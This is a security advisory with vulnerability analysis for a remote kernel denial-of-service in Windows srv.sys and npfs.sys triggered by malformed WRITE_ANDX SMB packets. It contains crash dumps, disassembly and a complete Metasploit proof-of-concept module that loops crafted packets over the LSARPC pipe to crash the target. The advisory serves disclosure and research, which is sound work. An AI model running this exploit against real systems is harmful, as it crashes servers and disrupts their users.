Microsoft Windows  WRITE_ANDX SMB command handling Kernel DoS

 

Vulnerability and Exploit: Javier Vicente Vallejo, http://www.vallejo.cc

Vulnerability Analysis: Ruben Santamarta, http://www.reversemode.com

 

Abstract

 

Microsoft Windows is prone to a remote Kernel Denial of Service due to the way srv.sys handles malformed WRITE_ANDX SMB packets.

 

Remote attackers could exploit this issue without having valid credentials on the target machine. In order to achieve a successful exploitation, the attacker needs enough privileges to remotely send WRITE_ANDX packets to an interface that uses a Named Pipe as endpoint. Those interfaces that allow NULL Sessions vary between Windows versions, in Vista the reliability of a preauth attack   through the “\LSARPC” has been successfully demonstrated.

 

Affected versions

 

Theorically verified on: Windows 2000, XP, Server 2003, Vista, Server 2008.

Successfully exploited on: Microsoft Windows Vista SP1 with latest security updates.

 

 

Analysis

 

A condition exists with srv.sys and npfs.sys wherein a specially crafted WRITE_ANDX SMB (http://msdn.microsoft.com/en-us/library/aa302278.aspx)  packet may cause a kernel Denial Of Service.

 

 

1: kd> !analyze -v

*******************************************************************************

*                                                                             *

*                        Bugcheck Analysis                                    *

*                                                                             *

*******************************************************************************

 

PAGE_FAULT_IN_NONPAGED_AREA (50)

Invalid system memory was referenced.  This cannot be protected by try-except,

it must be protected by a Probe.  Typically the address is just plain bad or it

is pointing at freed memory.

Arguments:

Arg1: 92bc0000, memory referenced.

Arg2: 00000000, value 0 = read operation, 1 = write operation.

Arg3: 81c834b3, If non-zero, the instruction address which referenced the bad memory

                        address.

Arg4: 00000000, (reserved)

 

Debugging Details:

------------------

 

 

READ_ADDRESS:  92bc0000 Nonpaged pool

 

FAULTING_IP:

nt!memcpy+33

81c834b3 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

 

MM_INTERNAL_CODE:  0

 

DEFAULT_BUCKET_ID:  VISTA_DRIVER_FAULT

 

BUGCHECK_STR:  0x50

 

PROCESS_NAME:  System

 

CURRENT_IRQL:  0

 

TRAP_FRAME:  90126b40 -- (.trap 0xffffffff90126b40)

ErrCode = 00000000

eax=92bc02cf ebx=90126c4c ecx=000000b4 edx=00000000 esi=92bbffff edi=98640b98

eip=81c834b3 esp=90126bb4 ebp=90126bbc iopl=0         nv up ei pl nz ac po nc

cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010212

nt!memcpy+0x33:

81c834b3 f3a5            rep movs dword ptr es:[edi],dword ptr [esi] es:0023:98640b98=00000000 ds:0023:92bbffff=????????

Resetting default scope

 

LAST_CONTROL_TRANSFER:  from 81cd86df to 81c81720

 

STACK_TEXT: 

901266b4 81cd86df 00000003 9012dc44 00000000 nt!RtlpBreakWithStatusInstruction

90126704 81cd914c 00000003 00000000 8c3236b0 nt!KiBugCheckDebugBreak+0x1c

90126ab0 81ca9df2 00000050 92bc0000 00000000 nt!KeBugCheck2+0x5f4

90126b28 81c8fa34 00000000 92bc0000 00000000 nt!MmAccessFault+0x106

90126b28 81c834b3 00000000 92bc0000 00000000 nt!KiTrap0E+0xdc

90126bbc 8726422c 98640a68 92bbfecf 00000400 nt!memcpy+0x33

90126c04 87261f32 952ad314 00000001 92bbfecf Npfs!NpWriteDataQueue+0xf6

90126c58 8726289d 839f3c40 00000001 90126c70 Npfs!NpInternalWrite+0x124

90126c7c 872628e7 839f3c40 92baf9a8 0000ffff Npfs!NpCommonFileSystemControl+0x17b

90126c94 81c27fae 839f3c40 92baf9a8 92baf008 Npfs!NpFsdFileSystemControl+0x19

90126cac 901736d0 90827482 9016562c 92baf008 nt!IofCallDriver+0x63

90126d30 9015a39b 83a01dd8 83a01da0 92baf010 srv!SrvSmbWriteAndX+0x9a1

90126d54 9016be8d 00000000 8c3236b0 00000000 srv!SrvProcessSmb+0x151

90126d7c 81e25472 00a01da0 9012d680 00000000 srv!WorkerThread+0x12c

90126dc0 81c9141e 9016bd61 83a01da0 00000000 nt!PspSystemThreadStartup+0x9d

00000000 00000000 00000000 00000000 00000000 nt!KiThreadStartup+0x16

 

 

Srv.sys is the driver that will process the received SMB packet, once the packet is parsed it is routed through the proper driver. In this case, npfs.sys (named pipe filesystem driver). Npfs.sys handles named pipe requests. Below we can see how srv.sys parses some important fields of the packet:

 

Módulo: srv.sys               Vista SP1

PAGE:00048583                 movzx   ecx, word ptr [ebx+17h]             ; Packet. DataOffset

PAGE:00048587                 mov     [ebp+var_50], ecx

PAGE:0004858A                 mov     eax, [esi+78h]                  ; Packet

PAGE:0004858D                 add     eax, ecx                                               ; Packet.Data[]

PAGE:0004858F                 mov     [ebp+VirtualAddress], eax

PAGE:00048592                 mov     eax, [esi+6Ch]

PAGE:00048595                 mov     eax, [eax+10h]

PAGE:00048598                 sub     eax, ecx                                                ; Real packet len - DataOffset

PAGE:0004859A                 movzx   edi, word ptr [ebx+15h]            ; Packet.DataLen

PAGE:0004859E                 cmp     edi, eax

PAGE:000485A0                 jb      short loc_485A4

PAGE:000485A2                 mov     edi, eax

 

In this part of the code, the driver should add a check to avoid to continue if the offsets are not in concordance to the real size of the packet. Later on, srv.sys builds (or reuses) an FILESYSTE_CONTROL  IRP (0xD), whose IOCTL  is 0x119FF8 ( FSCTL_PIPE_INTERNAL_WRITE, METHOD_BUFFERED), then it  sends this IRP to the proper driver by using a call to IofCallDriver. This IRP  contains the packet, however it does not mean that the IRP keeps coherence, in terms of memory usage, with regards to the internal fields of the packet . It’s worth noting that  the memory the IO Manager allocates for a METHOD_BUFFERED buffer is reserved from the NonPaged Pool area (It is a important fact to have in mind for a better understanding of the bug).

 

Módulo: srv.sys               Vista SP1

PAGE:00048C90                 push    ebx             ; int

PAGE:00048C91                 push    ebx             ; int

PAGE:00048C92                 push    ebx             ; int

PAGE:00048C93                 push    ebx             ; int

PAGE:00048C94                 push    edi             ; int

PAGE:00048C95                 push    [ebp+VirtualAddress] ; int

PAGE:00048C98                 push    119FF8h         ; int

PAGE:00048C9D                 push    0Dh             ; char

PAGE:00048C9F                 push    esi             ; int

PAGE:00048CA0                 mov     eax, [ebp+FileInformation]

PAGE:00048CA3                 push    dword ptr [eax+38h] ; FileObject

PAGE:00048CA6                 push    dword ptr [esi+80h] ; Irp

PAGE:00048CAC                 call    _SrvBuildIoControlRequest@44 ; SrvBuildIoControlRequest(x,x,x,x,x,x,x,x,x,x,x)

 

PAGE:00048D23                 mov     edx, [esi+80h]

PAGE:00048D29                 mov     ecx, [ebp+var_44]

PAGE:00048D2C                 call    ds:__imp_@IofCallDriver@8 ; IofCallDriver

 

 

This IRP is processed by npfs!NpCommonFileSystemControl .

 

Módulo: npfs.sys            Vista SP1

 

PAGE:0001885C loc_1885C:                  ; CODE XREF: NpCommonFileSystemControl(x,x)+E7j

PAGE:0001885C                 cmp     eax, 119FF8h

PAGE:00018861                 jz      short loc_18896

 


PAGE:00018896 loc_18896:            ; CODE XREF: NpCommonFileSystemControl(x,x)+139j

PAGE:00018896                 lea     eax, [ebp+var_C]

PAGE:00018899                 push    eax

PAGE:0001889A                 push    edx

PAGE:0001889B                 push    [ebp+Irp]

PAGE:0001889E                 call    _NpInternalWrite@12 ; NpInternalWrite(x,x,x)

 

Within this routine, we end up reaching npfs!NpWriteDataQueue where the bug could be triggered.

 

Npfs gets an entry from a list that contains certain pending IRPs associated with the connection.

 

Módulo: npfs.sys            Vista SP1

 

PAGE:0001A187                 push    esi

PAGE:0001A188                 push    [ebp+arg_0]

PAGE:0001A18B                 call    _NpGetNextRealDataQueueEntry@8 ; NpGetNextRealDataQueueEntry(x,x)

 

The driver performs a check on the retrieved entry. Due to this check, it is not possible to provoke an overflow within the memcpy call:

 

Módulo: npfs.sys            Vista SP1

 

loc_1A1F6:                              ; CODE XREF: NpWriteDataQueue(x,x,x,x,x,x,x,x,x,x)+92j

 

PAGE:0001A1F6                 mov     ecx, [ebx]      ; Packet.DataLen

PAGE:0001A1F8                 cmp     ecx, edi        ;  Entry.BufferLen ( 0x400 )

PAGE:0001A1FA                 jnb     short loc_1A1FE

PAGE:0001A1FC                 mov     edi, ecx

PAGE:0001A1FE

PAGE:0001A1FE loc_1A1FE:                              ; CODE XREF: NpWriteDataQueue(x,x,x,x,x,x,x,x,x,x)+A0j

PAGE:0001A1FE                 cmp     dword ptr [eax+10h], 1

PAGE:0001A202                 jz      short loc_1A22D

PAGE:0001A204                 test    edi, edi

PAGE:0001A206                 jbe     short loc_1A22D

PAGE:0001A208                 push    5246704Eh       ; Tag

PAGE:0001A20D                 push    edi             ; NumberOfBytes

PAGE:0001A20E                 push    0               ; PoolType

PAGE:0001A210                 call    ds:__imp__ExAllocatePoolWithTag@12 ; ExAllocatePoolWithTag(x,x,x)

 

In other words, for any amount of bytes that memcpy may copy, the same amount of bytes will be dynamically allocated. Thus, we never force an overflow condition.

 

Finally, below is the piece of code where the bug is triggered:

 

PAGE:0001A23E                 push    edi             ; size_t

PAGE:0001A23F                 mov     eax, [ebp+arg_8] ; &Packet + Packet.DataOffset

PAGE:0001A242                 sub     eax, [ebx]      ;  (&Packet + Packet.DataOffset) – Packet.DataLength

PAGE:0001A244                 add     eax, [ebp+arg_C] ; &Packet + (Current)Packet.DataLength

PAGE:0001A247                 push    eax             ; void *

PAGE:0001A248                 push    [ebp+P]         ; void *

PAGE:0001A24B                 call    _memcpy

 

The parameters of memcpy are calculated to read the data field of the SMB packet. The resulting address will be the “src” parameter for memcpy, as wen can see it could be pointing to undetermined memory.  When the flaw occurs, this pointer holds an address beyond the end of the NonPaged pool’s buffers reserved by srv.sys. If this undetermined memory is not valid, the system will  BugCheck , thus triggering a kernel level DoS. Other possibilities like arbitrary kernel memory disclosure has not been researched.

 

 

The function that handles Non-Paged memory allocations  in srv.sys is srv!SrvAllocateNonPagedPool. Every pool associated with srv.sys is tagged by using ‘LSxx’ tags.

 

Every Windows version is theorically affected by the flaw, however due to the nature of the bug, it might be impossible to reproduce it in certain cases. It has been empirically proven that Microsoft Windows Vista SP1 is more prone to this vulnerability than other versions where the work contexts of srv.sys becomes large from the very beggining.

 

Example:

 

Vista SP1

kd> !poolused 2

Pool Used:

                                NonPaged                                        Paged

 Tag                       Allocs     Used                    Allocs                  Used

[…]

LSwi                       1            16464                     0                            0                             initial work context

LSwn                     4              33088                    0                             0                            normal work context

[…]

 

Remembering

eax=92bc02cf ebx=90126c4c ecx=000000b4 edx=00000000 esi=92bbffff edi=98640b98

eip=81c834b3 esp=90126bb4 ebp=90126bbc iopl=0         nv up ei pl nz ac po nc

cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010212

nt!memcpy+0x33:

81c834b3 f3a5            rep movs dword ptr es:[edi],dword ptr [esi] es:0023:98640b98=00000000 ds:0023:92bbffff=????????

Resetting default scope

 

1: kd> kv

ChildEBP RetAddr  Args to Child             

[…]

90126bbc 8726422c 98640a68 92bbfecf 00000400 nt!memcpy+0x33

[…]

 

1: kd> !pool 92bbfecf-($Packet.DataLength)

Pool page 92bafed0 region is Nonpaged pool

*92baf000 : large page allocation, Tag is LSwn, size is 0x2050 bytes

                               Pooltag LSwn : normal work context

 

We demonstrate that the flaw is indeed reproducible.

 

1: kd> !pte 92bbfecf - ($Packet.DataLength)

               VA 92bafed0

PDE at 00000000C06024A8    PTE at 00000000C0495D78

contains 00000000030B8863  contains 0000000009A40963

pfn 30b8 ---DA--KWEV    pfn 9a40 -G-DA--KWEV

 

1: kd> !pte 92bbfecf + ($Packet.DataLength)

               VA 92bcfece

PDE at 00000000C06024A8    PTE at 00000000C0495E78

contains 00000000030B8863  contains 0000325E00000000

pfn 30b8 ---DA--KWEV                           not valid

                       PageFile:  0

                       Offset: 325e

                       Protect: 0

 

Dumping memory

 

1: kd> db 92bbfecf - ($Packet.DataLength)

92bafed0  ff 53 4d 42 2f 00 00 00-00 18 07 c8 00 00 cc cc  .SMB/...........

92bafee0  cc cc cc cc cc cc 00 00-00 08 dc 24 01 08 37 72  ...........$..7r

 

1: kd> db 92bbfecf + ($Packet.DataLength)

92bcfece  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????

92bcfede  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????

 

 

Thought the bug was not reproduced in this way (because it is related to how srv.sys handles its IRPs), if you are interested, you could debug some parts of this code: you can locally reproduce the way to reach to npfs!NpInternalWrite and npfs!NpWriteDataQueue by using Kartoffel:

 

kartoffel -d \\.\pipe\lsass -n 0x20 -o 0 -z 0x101 -Z 0x0 -I 0x119ff8 –g -u ADDRESS,INVALID_ADDRESS

 

Exploit

 

Here is a PoC exploit module for metasploit that you could use to reproduce the crash:

 

require 'msf/core'

 

module Msf

module Exploits

module Test

 

 

class BugTest < Msf::Exploit::Remote

 

 

       include Exploit::Remote::SMB

 

 

       def initialize(info = {})

             super(update_info(info,

                    'Name'           => 'test exploit',

                    'Description'    =>       

                           "tests",

                    'Author'         => 'tests',

                    'License'        => MSF_LICENSE,

                    'Version'        => '$Revision: 0 $',

                    'Arch'           => 'x86',

                    'Payload'        =>

                           {

                                  'Space' => 1000

                           },

                    'Targets'        =>

                           [

                                  [

                                         'Windows VISTA',

                                        {

                                               'Platform' => 'win'

                                        }

                                  ],

                           ],

                    'DefaultTarget' => 0))

       end

 

 

       def subexploit(dlenlow, doffset,fillersize)

 

             print_line("1")

 

            datastore['SMBUser']='testuser'

            datastore['SMBPass']='testuser'

            datastore['SMBDomain']='COBAYA'

             datastore['SMBName']='COBAYA'

 

             print_line("2")

            

             connect()

 

             print_line("3")

 

             smb_login()

 

             print_line("4")

 

               pkt = CONST::SMB_CREATE_PKT.make_struct

 

             pkt['Payload']['SMB'].v['Flags1'] = 0x18

             pkt['Payload']['SMB'].v['Flags2'] = 0xc807

 

             pkt['Payload']['SMB'].v['MultiplexID'] = simple.client.multiplex_id.to_i

             pkt['Payload']['SMB'].v['TreeID'] = simple.client.last_tree_id.to_i

             pkt['Payload']['SMB'].v['UserID'] = simple.client.auth_user_id.to_i

             pkt['Payload']['SMB'].v['ProcessID'] = simple.client.process_id.to_i

 

             pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX

 

             pkt['Payload']['SMB'].v['WordCount'] = 24

            

             pkt['Payload'].v['AndX'] = 255

             pkt['Payload'].v['AndXOffset'] = 0xdede

             pkt['Payload'].v['FileNameLen'] = 14

             pkt['Payload'].v['CreateFlags'] = 0x16

             pkt['Payload'].v['AccessMask'] = 0x2019f  # Maximum Allowed

             pkt['Payload'].v['ShareAccess'] = 7

             pkt['Payload'].v['CreateOptions'] = 0x400040

              pkt['Payload'].v['Impersonation'] = 2      

             pkt['Payload'].v['Disposition'] = 1

             pkt['Payload'].v['Payload'] = "\x00\\\x00L\x00S\x00A\x00R\x00P\x00C" + "\x00\x00"

 

 

             simple.client.smb_send(pkt.to_s)

 

             print_line("5")

 

             ack = simple.client.smb_recv_parse(CONST::SMB_COM_NT_CREATE_ANDX)

            

             pkt = CONST::SMB_WRITE_PKT.make_struct

 

             data_offset = pkt.to_s.length - 4

 

             print_line("6")

            

             filler = Rex::Text.rand_text(fillersize)

 

             print_line("7")

 

             pkt['Payload']['SMB'].v['Signature1']=0xcccccccc

             pkt['Payload']['SMB'].v['Signature2']=0xcccccccc

             pkt['Payload']['SMB'].v['MultiplexID'] = simple.client.multiplex_id.to_i

             pkt['Payload']['SMB'].v['TreeID'] = simple.client.last_tree_id.to_i

             pkt['Payload']['SMB'].v['UserID'] = simple.client.auth_user_id.to_i

             pkt['Payload']['SMB'].v['ProcessID'] = simple.client.process_id.to_i

             pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_WRITE_ANDX

             pkt['Payload']['SMB'].v['Flags1'] = 0x18

             pkt['Payload']['SMB'].v['Flags2'] = 0xc807

             pkt['Payload']['SMB'].v['WordCount'] = 14

             pkt['Payload'].v['AndX'] = 255

             pkt['Payload'].v['AndXOffset'] = 0xdede

             pkt['Payload'].v['FileID'] = ack['Payload'].v['FileID']

             pkt['Payload'].v['Offset'] = 0

             pkt['Payload'].v['Reserved2'] = -1

             pkt['Payload'].v['WriteMode'] = 8

             pkt['Payload'].v['Remaining'] = fillersize

             pkt['Payload'].v['DataLenHigh'] = 0

             pkt['Payload'].v['DataLenLow'] = dlenlow #<==================

             pkt['Payload'].v['DataOffset'] = doffset #<====

             pkt['Payload'].v['DataOffsetHigh'] = 0xcccccccc #<====

             pkt['Payload'].v['ByteCount'] = fillersize#<====

             pkt['Payload'].v['Payload'] = filler

 

             print_line("8")

            

             simple.client.smb_send(pkt.to_s)

            

             print_line("9")

 

       end

 

       def exploit

            

             k=72

             j=0xffff

             while j>10000

                    i=0xffff

                    while i>10000

                           begin

                                  print_line("datalenlow=#{i} dataoffset=#{j} fillersize=#{k}")

                                  subexploit(i,j,k)

                           rescue

                                  print_line("rescue")

                           end

                           i=i-10000

                    end

                    j=j-10000

             end

            

       end

 

end

 

end

end

end